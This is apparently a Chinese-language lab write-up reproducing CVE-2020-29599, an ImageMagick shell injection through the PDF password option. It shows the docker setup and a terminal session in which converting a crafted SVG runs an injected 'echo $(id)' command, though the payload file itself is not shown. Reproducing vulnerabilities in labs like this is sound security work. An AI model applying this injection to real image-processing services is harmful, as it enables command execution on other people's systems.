通过 PDF 密码进行 ImageMagick Shell 注入 (CVE-2020-29599)

通过 PDF 密码进行 ImageMagick Shell 注入 (CVE-2020-29599)

ImageMagick 是一个免费的开源跨平台软件套件,用于显示、创建、转换、修改和编辑光栅图像。

参考:

漏洞复现

执行以下命令进入安装Imagemagick 7.0.10-36的Linux shell:

1
docker-compose run im bash

进入/tmp目录,转换poc.svg格式,触发漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
root@f200ec9e1c1e:/# cd /tmp/
root@f200ec9e1c1e:/tmp# ls
poc.svg
root@f200ec9e1c1e:/tmp# identify poc.svg
poc.svg SVG 700x700 700x700+0+0 16-bit sRGB 398B 0.000u 0:00.003
root@f200ec9e1c1e:/tmp# convert poc.svg poc.png
sh: 1: : Permission denied
convert: MagickCore/image.c:1168: DestroyImage: Assertion `image != (Image *) NULL' failed.
Aborted
root@f200ec9e1c1e:/tmp# ls
0wned poc.svg
root@f200ec9e1c1e:/tmp#

命令echo $(id)> ./0wned已成功执行:

image-20210813172351545

0%